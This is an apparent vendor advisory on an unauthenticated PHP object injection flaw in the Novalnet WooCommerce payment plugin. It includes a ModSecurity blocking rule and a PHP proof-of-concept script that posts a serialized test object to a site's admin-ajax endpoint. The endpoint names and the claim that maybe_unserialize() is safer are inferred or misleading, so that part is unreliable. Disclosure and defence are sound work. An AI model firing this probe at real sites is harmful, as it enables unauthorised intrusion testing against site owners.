Atomic Edge analysis of CVE-2026-57677 (metadata-based):
This vulnerability affects the Novalnet Payment Gateway for WooCommerce plugin (versions up to and including 12.10.3). The vulnerability is an unauthenticated PHP Object Injection via deserialization of untrusted input. With a CVSS score of 8.1 (High), it allows an attacker with no privileges and no user interaction to potentially achieve code execution, file deletion, or data theft if a suitable POP chain exists on the target system.
Root Cause: Based on the CWE-502 classification and the description, the plugin likely unserializes attacker-controlled data without proper validation. The most common pattern in WordPress plugins is an AJAX handler or REST API endpoint that accepts a serialized PHP object parameter and passes it to unserialize() or possibly a weakly-typed __wakeup() trigger. Vulnerable code probably exists in a callback registered via add_action(‘wp_ajax_nopriv_{action}’, …) or add_action(‘rest_api_init’, …). Atomic Edge analysis infers that the plugin did not validate or sanitize the input before deserialization. This conclusion is inferred from metadata; no code diff is available for confirmation.
Exploitation: An unauthenticated attacker sends a crafted HTTP request to the vulnerable endpoint. The likely attack vector is through the WordPress AJAX API at /wp-admin/admin-ajax.php with action parameter novalnet_gateway_process or similar (based on the plugin slug woocommerce-novalnet-gateway). The attacker submits a serialized PHP object payload containing a gadget chain (POP chain) if available via another plugin or theme. The payload is passed as a POST parameter (e.g., ‘data’ or ‘novalnet_data’). If no POP chain exists, the injection may cause a PHP error but cannot lead to code execution.
Remediation: The fix (version 12.10.4) likely replaces the dangerous unserialize() call with json_decode() for JSON input, or implements input validation that rejects serialized PHP data. The patch may also switch to using the WordPress functions like maybe_unserialize() which is safer if the data is not expected to be serialized. Atomic Edge analysis strongly recommends avoiding unserialize() on any user-supplied data. Plugin developers should use JSON for structured data transmission.
Impact: Successful exploitation requires a POP chain from another plugin or theme. If such a chain exists, the attacker can execute arbitrary PHP code, delete arbitrary files, or retrieve sensitive data from the database. Even without a POP chain, the injection may cause denial of service through PHP object recursion. For WooCommerce sites, a successful attack could lead to complete site compromise, customer data theft, or payment information exposure.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-57677 (metadata-based)
# Blocks unauthenticated PHP object injection via AJAX handler
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20261977,phase:2,deny,status:403,chain,msg:'CVE-2026-57677 - Novalnet Payment Gateway PHP Object Injection via AJAX',severity:'CRITICAL',tag:'CVE-2026-57677'"
SecRule ARGS_POST:action "@streq novalnet_gateway_process"
"chain"
SecRule ARGS_POST:data "@rx O:[0-9]+:.*[a-zA-Zx5f][a-zA-Z0-9x5f]*:"
"t:none"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-57677 - Novalnet Payment Gateway for WooCommerce <= 12.10.3 - Unauthenticated PHP Object Injection
// Configuration: Change this to the target WordPress site URL
$target_url = 'http://example.com';
// No known POP chain exists in the vulnerable plugin itself (per CVE metadata).
// This PoC injects a simple test object to confirm deserialization occurs.
// To achieve code execution, an attacker would need a POP chain from another plugin/theme.
// A test object class for detecting deserialization (will cause a PHP notice if injected and triggered)
class TestInjection {
public $message ='Injected';
public function __wakeup() {
// This runs if a __wakeup method exists; for detection we trigger an error
trigger_error('PHP Object Injection detected', E_USER_WARNING);
}
}
// Craft a serialized payload: O:14:"TestInjection":1:{s:7:"message";s:8:"Injected";}
$serialized_payload = serialize(new TestInjection());
// Determine the likely AJAX action based on the plugin slug
$action = 'novalnet_gateway_process';
$parameter_name = 'data'; // Inferred from common patterns; adjust if needed
// Build the HTTP request
$post_data = array(
'action' => $action,
$parameter_name => $serialized_payload
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code == 200) {
echo "[+] Request sent to $target_url/wp-admin/admin-ajax.php with action=$actionn";
echo "[+] Payload: $serialized_payloadn";
echo "[+] Response received (HTTP 200). Check server logs for deserialization attempt.n";
} else {
echo "[-] Request failed with HTTP code: $http_coden";
}
